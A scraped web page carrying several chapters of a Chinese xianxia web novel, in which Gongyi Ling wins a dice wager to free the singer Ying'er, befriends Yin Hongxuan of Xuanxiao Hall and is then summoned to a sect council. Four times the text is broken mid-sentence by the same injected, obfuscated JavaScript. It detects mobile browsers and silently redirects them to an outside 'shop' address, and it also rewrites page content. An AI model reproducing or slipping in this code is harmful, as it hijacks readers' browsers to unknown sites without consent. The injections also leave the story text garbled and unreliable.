尹鸿宣原先还不敢睁眼去瞧,听到了周围人唾沫横飞的惊叹后,才小心翼翼、忐忑地放下了蒙眼的手,等他将目光移到了骰盅后,眼珠子都快掉出来了,嘴更是长得老大压根闭不上,说是惊掉了下巴也不为过。 他后怕地拍了拍胸口,惊声道:“真赢了啊兄弟!!你真行啊!!我俩的胳膊腿可算保住了!” 公仪岭正浑身不自在地躲避着赌坊内众人的围观,原先镇定的笑容僵在了脸上,就差没直接找个洞钻进去了。 见此场景,尹鸿宣如何能忍?他看见公仪岭替自己挂帅出征,大获全胜了第一盅后,那个使命感一下子就上来了,立刻充当起了赌场侍卫,马上用身子就帮公仪岭挡住了大半人潮,在那边狂喊道:“听到没啊,我兄弟都说了是运气不是出千了!大家围观有点素质!不要人挤人了!” 尹鸿宣这卖力给自己挡人的模样,看得公仪岭险些热泪盈眶。 老天啊,要是之前遇到这种众人围观的景象也有人这么帮自己忙也好了!何至于被说得哑口无言啊! 如此一想后,当即就下定了决心,这傻小子的忙,他就好人做到底,给他帮了! 公仪岭这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579688|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感动地想着,而那边老鸨看到这样子的结果也是脸色一变。 她纵横花楼赌场几十年,不说是从无败绩,也至少是未逢敌手,还是第一次遇到如此情况。 她自己私下还特意练习过了这样的玩法,至少练到了九成把握,才敢拿出来跟别人叫板对赌,本以为胜券在握,哪里料到居然半路杀出来个程咬金? 此局难度,在场没有一个人比她更清楚了。对面这男子满口说自己是运气好,她是半个字不信的,立即就猜到公仪岭前面说不会,肯定是装的,目的必然是想让自己放松警惕了。 只是赌局已立,现在反悔已经迟了。 老鸨呼出一口气,压下心中不安,克制住了自己的心情,轻松开口道:“诸位先别急,这还只是第一盅,且看剩下九盅结果如何,再庆贺不迟。” “对对对,说得对。” “再看看,先别急,咱们再看看先。” 她说完后,众人也都冷静了些,纷纷退开了。毕竟刚刚公仪岭本人都说了应该是运气,没准这人运气真就那么好呢?到底是不是实力,还是得看剩下九盅的结果。 老鸨这边心中盘算着,公仪岭心里也有着自己的打算。 面对人群围观,公仪岭虽被他们吵得头疼,但周围赌徒口中那些怀疑自己的话依旧听得清清楚楚。 其他人怀疑自己出千也并非没有理由,在场的多得是刚输完正没处发泄,或者是运气不好的人,自己突然来这么一下,难免会遭人嫉恨。 他此行乃是秘密出行,遇上旁的仙家门生透露身份也就罢了,遇到玄霄殿的人自然不能大意,故而,他才对尹鸿宣这个玄霄殿的人隐去了身份。 好在现在看来,尹鸿宣并没有怀疑自己。 既然如此,在长乐坊这样鱼龙混杂的地方,就算是想要救出莺儿,他也不该如此张扬地炫耀赌技,而是应当更加低调行事才对。 公仪岭想完,脑中思路也更加清晰了些。 老鸨直了直身子,脸上自信不减,对公仪岭笑道:“公子,这第二盅,我可就不会手下留情了。” 公仪岭含笑:“希望这一次,我也能够有好运气。” 老鸨递给了赌坊女郎一个眼色,沉声道:“开始吧。” 公仪岭也道:“请!” 赌坊女郎得了令,抄起桌上的第二个骰盅便摇晃起来。 这一次,她摇盅的时间就比第一次久了许多,时而上下晃动,时而左手倒右手。她手腕一抖将整个骰盅抛向空中,那骰盅转了个圈儿又回到了女郎的手中,如此过了许久,最后手上动作终于一停,将骰盅拍在了桌上。 公仪岭听得分明,心中早已有数,只是面上却显出一副为难模样。 身旁女郎将备好的第二张纸递到了公仪岭的面前,对他道:“公子,请作答。” 公仪岭执笔,状似举棋不定了片刻后,才开始缓慢书写起来。 尹鸿宣不知他装模作样,只当他没有把握,一颗心顿时揪了起来,又不敢出声打扰他,只能在心里默默焦急。 待他书写完毕,将纸放入盘中,用镇纸反扣后,脸上凝重的表情也不减分毫,倒让围观的人拿捏不准起来。 老鸨则是略一思考后,在纸上轻轻巧巧地写了数字,给交了赌坊女郎。 两张纸被女郎端到中央,众人期待万分,连声催促着赌坊女郎揭晓两人答案。 86.一赌长乐坊 莫笑醉春风(七) 赌坊女郎掀开第一张公仪岭写的纸,高声道:“这位公子的答案为:十一、四、十五、二、十三。” 另一只手掀开了老鸨写的纸,又道:“妈妈的答案为:十一、二、六、二、十三。” 这一次,他们两人竟有两个数字不同! 老鸨听完他的答案后,微微一笑。 这一局,她听得分明,不会有错,自然也就胜券在握。至于对面那男子,刚才如此犹豫的样子,不像是装出来的,说明此人并没有刚刚表现出来的那样高水平,赌技应当与自己平分秋色才对,想来方才那一次,只是碰巧罢了。 毕竟她自己超常发挥的时候,五个全猜对也不在少数,算不得奇事。 公仪岭也不动声色地观察着她面上的细微表情,借此来判断自己有没有蒙混过去。直到捕捉到老鸨那一抹微笑,他才在心中稍微松了口气。 看样子是暂时瞒过去了。 围观众人被吊足了胃口,每双眼睛都紧盯着桌上那骰盅,连声催促着女郎开盅:“快开!快开!” 赌坊女郎直接伸手掀开了骰盅,盅内五颗骰子上的数字赫然是“十一、二、六、二、十三”。 结果已然分明,公仪岭明显看到对面那老鸨原本蜷曲的手指微微放松了下来,脸上也露出了从容的笑容,想必是可安心了。 老鸨笑靥如花,手中折扇哗啦一展,随后对他说道:“公子,承让了。” 赌坊女郎笑道:“这一局,是柳夫人赢了!” 周围了然声顿起:“哎哟,我就说嘛!方才那一局,定然只是柳夫人失手而已。” 有人发出感慨:“嘿,那你还真别说,这死小子刚才运气真够好的!” 之前骂他的那人愤愤道:“他爹的,凭什么他运气能这么好,我运气这么背?!这运气给我多好???” 尹鸿宣见他只是输了两个骰子,也不怪他,连忙出声安慰了一句:“兄弟,没事!你能有这么好的运气,已经很不错了!” 公仪岭对他点了点头,顺着坡就下了,还不忘礼貌性地对那老鸨吹捧了一句:“这一局,是在下输了。久闻您赌技卓然,今日一见,果然不错。” 老鸨听他这么说,心中顿时痛快了不少,也象征性地夸了他一句:“你也不错。” 刚才质疑公仪岭出千的人还在犹自不满道:“喂,柳夫人,他这说是运气也太离谱了吧,你们当真不检查检查这人,万一他使了什么办法出千了呢?” 旁边有人迟疑地反驳道:“长乐坊开了这么多年了,哪个出千的人没被当场发现,直接断了手脚?这都玩两把了,出了问题,柳夫人怎么可能发现不了……” “也是啊,大家这么多双眼睛都盯着呢,这人离骰盅这么远,能做什么手脚?” 老鸨跟如此俊俏的公子一赌,两场下来又觉棋逢对手,难得起了些兴致,听到有人发出这些嫉恨之言,多了些被打断的不悦。而那赌坊女郎并非第一次遇到这样的质疑,瞥眼看了妈妈一眼,稍微察言观色就已经心中有数,立刻娇叱道:“我们家妈妈说了,这位公子并未出千,还请诸位慎言!” “得嘞,你们说没有就没有吧!” 那些说出千的人被堵了话头,虽心中忿忿,但还是暂且闭了嘴。 老鸨赢了一把,心情极佳地摇着扇子,眼波流转看向公仪岭,又问道:“公子,那我们继续?” 公仪岭正色道:“请!” 接下来几把,两人你追我赶,差距咬得极近,直到最后一把开始前,竟然已成了平手,只差一把决定输赢了。 而这一次,关乎两人胳膊腿的去向,公仪岭就算是想放水,也不敢拿这个开玩笑,当即就全神贯注,不敢大意起来。 女郎摇完骰盅,老鸨和公仪岭分别写完了各自的答案,只等那最后一个骰盅打开了。 围观众人一个个瞪大了眼翘首以待。尹鸿宣紧紧攥着拳头,指甲死死嵌入了肉中也都没有察觉到痛,就连呼吸都变得急促了起来。 赌坊女郎微微一笑,扬手揭开了骰盅。 哪怕自信如公仪岭,在这种时候也不由探了头过去看骰盅里的结果。 而这一次,骰盅里面的数字分明是“七、十六、九、二、十”! 这数字与他所写的一模一样,但与对面老鸨写的却相差了一个数字。公仪岭身子一松,总算是彻底安心下来。 赌场女郎高声道:“这一局,是公子赢了!” 老鸨知晓了结果,面上倒没有什么变化,从容地坐回椅上,看起来,她在刚刚这一场赌局玩得十分尽兴。 赌坊女郎对桌边的两位公子笑道:“依照赌约,这位黑衣公子欠下的一百五十两银子,一笔勾销,醉春风的莺娘,两位公子也可带走她。” 女郎话音刚落,公仪岭就听到旁边“扑通”一声,侧头过去看,竟是尹鸿宣两腿一软直接一屁股坐在了地上。 他不由怀疑这孩子怕不是高兴傻了吧,于是伸手摇晃了两下他的肩膀,喊道:“喂,你行不行啊?能不能起来?” 尹鸿宣觉得自己的身子变得异常沉重,两条腿跟被抽了骨头一样压根支撑不起来自己,脸上表情错乱地就坐在地上。公仪岭看了半天也没看出来他到底是在哭还是在笑,于是又对他强调了一遍:“兄台,赢了!” 他愣了许久,好像才想起来究竟要怎么笑,抽动起了嘴角,最后竟是露出了一个比哭还难看的笑,对公仪岭嚎道:“赢了!赢了!真的赢了!兄弟,我们的腿保住了!……我的亲爹啊……太吓人了……我以后再也不玩了!!!” 公仪岭被他弄得哭笑不得,心道这跟哄孩子有什么区别啊?合着他下山以来这么久,光带孩子了! 为数不多的押公仪岭赢的那群人也都乐疯了,这赌局赔率那么大,原先他们不过是赌个热闹,赔了拉倒。谁知道这人居然真的跟撞了狗屎运一样赢了啊!自己说是一夜回本都不过分。 只不过,他们这群人是高兴了,赌坊里其他押老鸨赢的那么多人,心情就不是那么美妙了。 大家在长乐坊玩了这么久,多多少少都有跟老鸨赌过的人,几乎无一例外败在了她的手上。他们许多人本就对输在女子手上觉得丢了面子,何况还是败在了青楼妓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579689|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子身上。 刚开始一个人丢脸的话会颇有微词,久而久之一群人一起丢人,也就觉得没什么了,于是美名其曰给老鸨冠了一个“从无败绩”的名头,这样即便自己输了也不会下了面子。 刚开始公仪岭赢了一盅,大家看看热闹震惊下也就罢了,反正还有九盅,谁也没觉得他真能胜了,这才把赌注全都押在了柳夫人身上。而现在,这样出乎了他们意料的结果,不光赔了个底朝天,还让众人多少觉得脸上无光起来。 也不知道是谁打头,先“嘁”了一声表示不满,随后就有人拍着桌子骂道:“他娘的!柳夫人你怎么回事啊?今个儿出门没看黄历啊,手气这么烂!!” “就是啊!害得老子全赔光了!!” “别是你俩合计好的,左手倒右手,来骗我们钱吧?” “喔唷!谁知道呢,这死小白脸!不会真是柳夫人新招的男妓吧?!” 一群人越说越离谱,就差没撸着袖子,直接把公仪岭和老鸨捉奸在床了。言辞之粗鄙,语气之下流,饶是她们这些醉春风的人都皱起眉来。 尹鸿宣直接气得涨红了脸,好像那群人说的不是公仪岭而是他一样,费尽力气从桌底下爬了起来,握紧拳头就想一个个揍过去:“一群人胡说什么?我兄弟也是你们能说的?!赌坊规矩向来是愿赌服输,玩不起是不是啊?!” 公仪岭生怕这玄霄殿的小殿下一怒,直接施法弄死了那些人,连忙阻拦道:“哎哎哎,兄台,冷静点,冷静点!赢了就行,可别打架!” 尹鸿宣咬牙切齿,跟小孩告状一样跟公仪岭说道:“兄弟,不是我控制不住!你听听他们说得多恶心人!” 公仪岭只得小声道:“你万一给他们打伤了,咱不是还得赔钱!” 尹鸿宣被他说得一愣,脑子里飞速旋转,得出了“他说的有道理”的结论,立刻冷静了一些,收起了拳头:“说得对,把莺儿带走要紧,我身上可是一文钱都没带。” 他们这边自己给自己安抚好了,但赔了钱的人却只当他们软柿子,骂得更凶了,还有几个赤红了眼,就要上去揍人。 赌坊女郎维持了半天秩序,也没见起什么作用。眼看着闹哄哄就快打起来了,老鸨终于忍不了了,柳眉倒竖,起身喝道:“老娘与这两位公子今日乃是初见,你们这些人少胡说八道!这局是我技不如人,输了便是输了,老娘还不是那种输不起的人!!” 公仪岭道:“那莺儿……?” 老鸨冷哼一声,指着莺儿对赌坊女郎娇叱道:“去,把她手上的绳子给我解开,顺便再把莺娘的卖身契给我拿过来。” 不过片刻,赌场女郎便拿着卖身契回来了,将东西递交到了公仪岭的手中。 莺儿这会儿也松了绑,红着眼圈直接朝两人奔过去了:“尹公子!仙人哥哥!” 公仪岭这才想起来,自己还没跟她说不要当着别人的面这样叫他这一回事。好在周围赌坊吵吵闹闹的,谁会听这小姑娘蚊子般大点声音说了什么?都没注意到她的称呼。 他连忙对两人说道:“此地不宜久留,我们还是先出去吧。” 87.一诺赠鬼玉 议事知何决(一) 尹鸿宣道:“好!”牵起莺儿的手就跟着公仪岭打算离开。 月娘依照着老鸨的吩咐将人给带出去,走到三人面前轻哼一声,娇慵道:“跟我来吧。” 一路出了长乐坊和醉春风后,公仪岭紧绷的神经才放松下来。 在长乐坊里不分昼夜,等到他们站在西市大街上,才发现天色已经黑了。 为了避免节外生枝,公仪岭还是带着两个人走了很远,确定了不会有长乐坊的人出尔反尔追上来以后,他才对两人说道:“应该不会有人来了。” 莺儿的肚子在这时不争气地咕噜了一声,颇为不好意思地对他们道:“……我饿了。” 公仪岭想想也是到饭点了,他跟尹鸿宣吃不吃是无所谓的,但莺儿一个大活人总不能给饿死了,于是四下望了望,带着两人进了附近的一家酒肆。 夜间酒肆人满为患,一楼大厅的散桌已经坐满了人,酒肆小二端着酒菜穿梭在人堆中给客人上菜,甚至都来不及招呼他们两位。公仪岭只得随便逮了一人报了几个菜名,直接领着尹鸿宣和莺儿上了二楼。 酒肆二楼都是包间,价格更贵,人也更少。不过公仪岭刚经历了那场豪赌,想着这点钱花了也便花了,权当是给他们三人庆贺了也好。 一路上三人都在一起,公仪岭自然也没机会去跟莺儿说称呼的问题。故而,在等菜期间,莺儿便直接说道:“莺儿在此多谢仙人哥哥来救我们。” 公仪岭道:“……小事一桩,不必言谢。” “多谢这位兄弟出手相助了……” 尹鸿宣也连忙拱手道谢,愣了愣后,才后知后觉地反应过来:“等等,莺儿你为什么叫他仙人哥哥?” 莺儿只当尹鸿宣是个普通人,不曾起疑:“尹公子有所不知,因为这位哥哥是仙人,所以……” “咳咳!” 公仪岭赶紧出声打断了她的话,抬眼去看尹鸿宣脸上神情。 不过他就算现在解释也晚了些,尹鸿宣就算再傻也是玄霄殿的小殿下,怎么会不知道莺儿口中的仙人是什么意思?谁知道他听说公仪岭是仙人以后是个什么反应——会不会直接过来跟他干架了? 虽然公仪岭觉得打他应该十分轻松,但毕竟酒楼里还有这么多无辜百姓呢,他们就算斗法,也总不能伤及无辜。 就在公仪岭已经开始思考从酒楼哪里跳下去跑路更快的时候,对面尹鸿宣凝视了他许久,竟是又惊又喜起来:“哎哟,兄弟,我刚刚都没认出来,你不是云灵山的人吗?” 这下轮到公仪岭迷惑了,满脑子想着自己跟这位仁兄之前没见过吧?他是怎么认出来自己的? 公仪岭道:“你怎么知道我是云灵山的?我又没穿云灵山的衣服!” 尹鸿宣却是十分肯定的样子,言语间透着激动:“我哪里会认错?看你这张脸就知道了!之前我就在云灵山门口看见你了,我往仙门各家塞了那么多画像,只有你没把我的画像揉成一团丢掉,还好好的叠起来带回宗门里去了!” 公仪岭更迷惑了。 尹鸿宣塞画像这事儿他还是从承悦口中得知的,从他手上拿了一张瞧了瞧而已,从来没亲自去云灵山门口拿进来过,按照他的记忆里,这时候他应该不是在睡觉就是在钓鱼才对。 尹鸿宣见他没想起来,更急切了:“你忘了?那时候你还穿着云灵山那身红袍子呢!因为你现在换了一身衣服,才叫我刚刚赌坊没认出来,现在仔细一看,你这张脸我肯定不会认错的!” 公仪岭“哦”了一声,明白了。 在云灵山长得跟他一样,还穿着红袍子的,想想也只剩下一个人了。 他十分恳切真诚地对尹鸿宣道:“你还真认错了,我看你当时见到的那个人,应该是我大哥才对。” 想想也是,能把他画像好好叠起来带回宗门里,再交给承悦处理的人,全云灵山上下也就公仪岚一个能干得出来嘛! 如果换做是他自己的话,估计看见就当废纸给丢了。 这下换成尹鸿宣疑惑了,不过他很快就想起来公仪岭跟他提过自己有哥哥的事情,很快就明白了过来是怎么一回事,恍然大悟道:“原来是这样。” 莺儿不知他们两个人说的那些,只当两人是故交,就把尹鸿宣也当成了仙人,惊讶道:“原来尹公子也是仙人!” 尹鸿宣这才意识到自己说漏嘴了身份,面上顿时尴尬起来,在旁边支支吾吾了半天,不知道该说什么了。 公仪岭听到莺儿的话,就知道莺儿是误会了。 不过,他也没必要跟莺儿戳破尹鸿宣魔族子弟的身份,十分自然地接过话头,点了点头道:“是的,他也是仙人。” 尹鸿宣立刻从善如流:“对对对,都是仙人。” 莺儿睁圆了眼,像是没想到自己运气这么好,一下子遇到了两位仙人:“多谢两位仙人哥哥救命之恩了!” 尹鸿宣忙道:“当初我答应过你,要帮你赎身的,肯定作数!” 公仪岭也道:“没事,跟我客气什么,不过举手之劳。” 对莺儿说完后,他又对尹鸿宣笑道:“你就是玄霄殿的那位小殿下,尹鸿宣吧。” 尹鸿宣自知瞒不过他,也就痛快承认下来了:“是我。兄弟你是云灵山哪位?” 公仪岭坦言道:“云灵山,公仪岭。” 尹鸿宣偏头想了想,依稀记得听自家长辈提过这个名字,在口中默默念了一遍记下了。对他说道:“要不是有兄弟你仗义出手,我今天肯定得交代在那边了……” “我只是碰巧路过,你就不必与旁人说起这事儿了。” 尹鸿宣点头:“那是当然的,要是被我爹知道我去赌坊的话,不得剐了我?……再说了,他们本来就不让我来这里,我偷偷出来的。” 公仪岭见他不知道为什么玄霄殿不让他前来宣安城,略略放下心来,问他:“那你打算什么时候回去?你走了以后,莺儿又该去哪呢?” 尹鸿宣听到他问这个,满面愁容:“顶多再呆两日,我也该回去了,不然就该被他们发现了!至于莺儿的话,她现在已经是自由身,在宣安城中当然想干什么就干什么了……” 公仪岭看向莺儿,莺儿则道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589597|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“仙人哥哥,你们不用担心,我能照顾好自己的。” 公仪岭点了点头。不管他担不担心,他和尹鸿宣也不可能将莺儿各自带回去,如此只会徒生事端,也就只能帮她到这里了。 三人说了没一会儿话,酒楼小二也将他们点的菜上了上来。 尹鸿宣看着面前上顷刻间多了近十道菜,几乎占满了整张桌子,咂舌道:“公仪兄弟,我身上可没带一分钱……” 公仪岭失笑。 他身上带的钱虽不够将莺儿赎出来,但是请他们两人吃个饭还是绰绰有余的,不说平日里靠卖野生鱼和齐元白的符纸挣了点小钱,光靠上次从狐妖洞里拿来的那个金杯,都够他们吃上好一阵了。 他挑了挑眉,镇定道:“尹二公子,你就放心吃吧,这顿我请。” 尹鸿宣闻言感动不已:“公仪兄弟,你人真好!不光替我上场,还请我们吃饭!这真是……弄得我都不好意思了。” 不过,他嘴上正说着不好意思,手上却已经很积极地拿起了箸,准备开吃了。 公仪岭在宣安城这么些日子了,也是头一回正儿八经吃城中的饭菜。低头瞧了一眼,觉得这酒楼能做这么大还是很有道理的,至少菜的卖相极佳,于是也不犹豫,夹了就吃。 莺儿也是饿坏了,哪里还管自己什么姿态,吭哧吭哧开始在桌子上扫荡起来。 等三人酒足饭饱后,尹鸿宣还很热情地问他晚上住哪,像是打算送他一程。 公仪岭自个儿也没想好,毕竟出来以后自己还没找到爹娘,随口道:“我还是回万仙寺去吧。” 莺儿也暂时没处可去,忙接了一句:“我也回万仙寺。” 尹鸿宣诧异道:“公仪兄弟,你不住客栈吗?” 公仪岭摇头道:“不必多此一举了,反正待两天也就离开了。”住客栈的话,多浪费钱啊。 莺儿问尹鸿宣道:“尹公子,那你去哪儿?” 尹鸿宣思虑了片刻:“送你们回万仙寺以后,我就回去了。” * 一个时辰后,万仙寺门口。 尹鸿宣望着这破破烂烂的寺庙,心痛不已:“原来这一个月,莺儿你就住在这么偏僻难找的地方,难怪我找遍了全城都没找到你。” 莺儿诧异:“我白日里也有进城寻你,并未看见。” 公仪岭左右看看两人,心说也不知这两人运气是有多背,互相找了一个月面都没碰上。忽然间又想起,莺儿当时说自己没被那些人皮傀儡加害的事情,顿时了然。 原是因为,这尹鸿宣身上魔气甚重,莺儿与他之前待过一阵子的话,难免身上也沾染上了一些。这些人皮傀儡既然是出自玄霄殿之手,那不攻击尹鸿宣的同时,不攻击莺儿,也就在情理之中了。 尹鸿宣叹了口气:“算了算了,你没事就好。”又嘱托了莺儿几句,才放她离开。 公仪岭心想他应该是要走了,于是也同尹鸿宣说了句后会有期,就打算离去。 只是他转身刚走了一步,就被尹鸿宣拉住了:“公仪兄弟,等等!我还有话要同你说。” 88.一诺赠鬼玉 议事知何决(二) 公仪岭身形一滞,转身问他:“尹二公子,还有什么事情?” 尹鸿宣连忙点头。 公仪脑中猜测着他找自己会不会是询问人皮傀儡的事情,毕竟前几日仙人下山除人皮傀儡的事情闹得沸沸扬扬,自己又出现在了长乐坊,难免引人生疑。 正想着该如何圆过去,就见尹鸿宣毫不犹豫将脖子上挂着的东西取了下来,递给了他。 “……?” 公仪岭完全闹不明白这孩子的脑回路,迟疑道:“你这是做什么?” 尹鸿宣见他没接,不由分说地抓了他的手,把那吊坠一把塞到了公仪岭的手上,眼神坚定地望着他:“公仪兄弟,这是我现在唯一能拿得出手的东西了,你一定要收下!” 公仪岭摇了摇头,想把吊坠重新挂到他的脖子上,却被尹鸿宣一个侧身闪避开来,顿时哭笑不得:“尹二公子,我可从没想过要你的东西。” “公仪兄弟,你这样帮我的忙,也总该让我报答一下你的救腿之恩!” “……” 公仪岭哑然,拿着吊坠收也不是不收也不是,为难地不行。尹鸿宣压根没给他机会犹豫,直接把东西给他挂在脖子上了。 公仪岭低头看了一眼,这石头在尹鸿宣身上带了这么久,却不含半点魔气,公仪立刻就知道这东西不是凡品。 他无奈道:“这是什么?我看着像一块玉石。” 尹鸿宣挠了挠头:“这石头是我从小到大带着的,我爹说是用来防身的来着……不过我还没受过什么重伤,这石头具体是怎么回事,我也不太清楚。公仪兄弟,你就把他当个护身符就好了!” 公仪岭摩挲了一下胸前这块黑色石头。这石头虽然看起来普普通通,只有拇指大小,但摸起来的手感却温润如玉,不像是寻常材质做成的。 想了半天,他也没想出来这是个什么玩意,大约是玄霄殿自己弄出来的东西了。 不过,在他见尹鸿宣第一面的时候,这个石头就被他戴在胸前,也没见有什么问题,应该不是故意送邪物来害自己的。何况,他说这是尹景轩给他戴着的,想来亲爹也不会害儿子才对。 公仪岭意外:“你把这个给了我,你爹不会有什么意见吗?” 尹鸿宣摇头道:“我一个月都不一定能见着我爹一面,他哪里会注意到这个。” 公仪岭思考片刻,觉得这孩子一片好心,收下也没什么问题。只不过这黑石头上汇聚了魔气,他若是戴在胸前,定然会被人察觉不对。 思虑及此,他便默默施了个高级的障眼法,将黑石头给遮了起来,妥帖地放在了衣襟里盖住后,才对尹鸿宣点头道:“尹二公子,多谢你的好意,我收下了。” 尹鸿宣见他收了,高兴道:“咱俩谁跟谁呀,公仪兄弟,你不用跟我客气!” 公仪岭微微一笑。 尹鸿宣说完,偏头想了想,觉得自己的诚意好像还不够,于是又十分郑重地对公仪岭说道:“公仪兄弟,咱们俩一见如故,以后你要是有要我帮忙的地方,你千万别跟我客气,我能帮一定帮!” 这样的话,如果换做是他们仙僚之间这样说的话,可以说是重诺了,只不过尹鸿宣到底是玄霄殿的人,又还只是个十五岁的少年,公仪岭并未将此话放在心上。 但难得遇到这么傻里傻气,又真诚无比的少年,公仪岭还是欣然对他道:“好,我记下了,如果以后有什么需要你帮忙的地方,我肯定不跟你客气。” 尹鸿宣心愿了结,心满意足道:“那公仪兄弟,我先走一步了。” “一路顺风。” * 在万仙寺暂宿了一晚后,公仪岭又接连两日在城中寻人,只可惜整个宣安城几乎都被他搜遍了,也没找到自家爹娘。 出门前,他与大哥商量好的是二十天的时间,一晃眼已经十五日过去了却毫无进展,公仪岭也不由着急起来了。 可如果爹娘不在宣安城内,又会去哪里?公仪岭心里也没个数。 他这边忙着,莺儿那边这几日也早出晚归的。 原先公仪岭想着找个时间问问她每日出去做什么,结果白日里倒先在城中又遇上她了。 更巧的是,两人竟是在霁月茶楼遇上的。 公仪岭想着城中茶楼人多眼杂,没准他打听打听能有消息,这才又去了霁月茶楼。刚找了个位子坐下打算问一问茶客,就听见旁边有人感慨道:“这几日霁月茶楼来了位妙人,那一手琵琶弹得当真不错。” “可不是?我看比起宣安城之前那位名伎也有过之而无不及。” 公仪岭还在想着,霁月茶楼是又招了哪位琴伎,就听见二楼忽然传来一阵悦耳的琵琶声。 公仪岭循声望去,那琵琶女轻纱掩面,穿着一身绯红衣裙,梳着精巧的发髻,仔细一看,正是莺儿无疑。 不过听了两段琵琶声,公仪岭也算是明白了,为何莺儿需要那么多银子才能赎出来。毕竟她生得俏丽,又有如此琴技在手,如果腿上没有被打瘸的话,放在醉春风里,无异于一棵摇钱树。 等莺儿一曲弹毕,正有时间休息一会儿的时候,就看见公仪岭坐在茶楼的二楼栏杆旁,打趣道:“想不到莺儿你,这么快便寻到了谋生路,该好好庆贺才是。” 莺儿笑了:“仙人哥哥,我今天赚到钱了,等回万仙寺,给你带鸡腿吃。” 公仪岭喜道:“好啊!” 说罢,他还想着这茶楼老板真是大好人,愿意收留莺儿在这边做事,这样的话,他离开宣安城也可放心了,便一下午都在茶楼积极地打听起来。 只可惜,公仪岭在茶楼里打听了一圈也没打听到什么消息,只能悻悻离场。 等他晚上回到万仙寺以后,刚啃了两口莺儿带来的鸡腿,就收到了云灵山发来的信函。 拿到手中这封暗红祥云纹信函的时候,公仪岭还愣了一下,这才想起来自己出来这么久,还没同大哥报过平安。 也不知道大哥是怎么知道自己在万仙寺的。 公仪岭去水缸了净了手,才打开信笺。细细看完后,他也顿时明白了过来。 还是多亏了自己不久前给燕蓉写的那封信,透露了自己身在何处。公仪岚只需稍稍找他的几位至交好友一打听,也就从燕蓉口中得知了自己的所在地。 不过,越往下看,公仪岭的神色也越发凝重起来。 公仪岚在信中,除了与他说明了怎么找到他的以外,也说了关于自己已经继任了云灵山宗主之位的事情。 至于这次继任为何如此匆忙完成,其中最重要的原因是,其他几大仙家的人已经知道了公仪拓夫妇失踪,并且在这时候,紫阳宗传信了他们。 传信的内容,正是关于燕婉失踪的事情。 彼时紫阳宗派了人去下界寻找燕婉未果,又将燕蓉拟好的信函传讯给了玄霄殿,谁知一等大半个月都过去了,那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589598|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是杳无音信。 故而,他们在信中邀几家在五日后前往紫阳殿议事。而这一次被邀请到紫阳殿参与议事的,也仅有云灵山、太微山和六弦阁三家。 再怎么说,自家父母两个大活人不见了,公仪岚实在很难瞒过去,于是只能将继任宗主的事情告知了其余几家,这才知道原来太微山和六弦阁那边,两位少宗主竟然也继位了。 奇怪的是,紫阳宗却像是早已知道此事,没有对此产生什么疑惑。 现在玄霄殿与他们仙家关系微妙,一边是公仪岭不在他身边,公仪岚不放心。眼看着议事的日子临近,公仪岚这才传信给了他,叫他尽快赶回云灵山。 旁边莺儿见他面色不好,小心翼翼问道:“仙人哥哥,你脸色这样差,可是发生了什么事情吗?” 公仪岭摇头,道:“莺儿,我要走了。” 莺儿看着大门外已经完全变黑的天空,诧异道:“现在吗?” 他点了点头,将信收好以后,对她笑道:“是啊,日后有机会再见吧。” 莺儿沉默了片刻,依依不舍道:“仙人哥哥,我送送你。” 公仪岭走到门槛前,闻言身形顿了顿,转身对她正色道:“莺儿,你还没见过御剑飞行吧?正好我坐剑走,给你露一手!” * 赶路的过程中,公仪岭还抽空给大哥回了信,说自己过来路途遥远,回云灵山怕来不及,就直接去紫阳宗等他们汇合了。 幸亏紫阳宗定下议事的时间是五日后,不然的话,他还真不一定赶得及。 不过这也不一定是巧合,谁不知道紫阳宗大小事情都是燕蓉安排的,说不定这五天就是她特意算好了公仪岭的路程才定下的时间。 公仪岭紧赶慢赶,刚好在第五日早上落在了紫阳宗的地界……但是暂时他还进不去。 至于没进去的原因,是因为他没带拜帖,被守在外面的弟子给拦下了。 “麻烦这位仙僚出示下拜帖。” 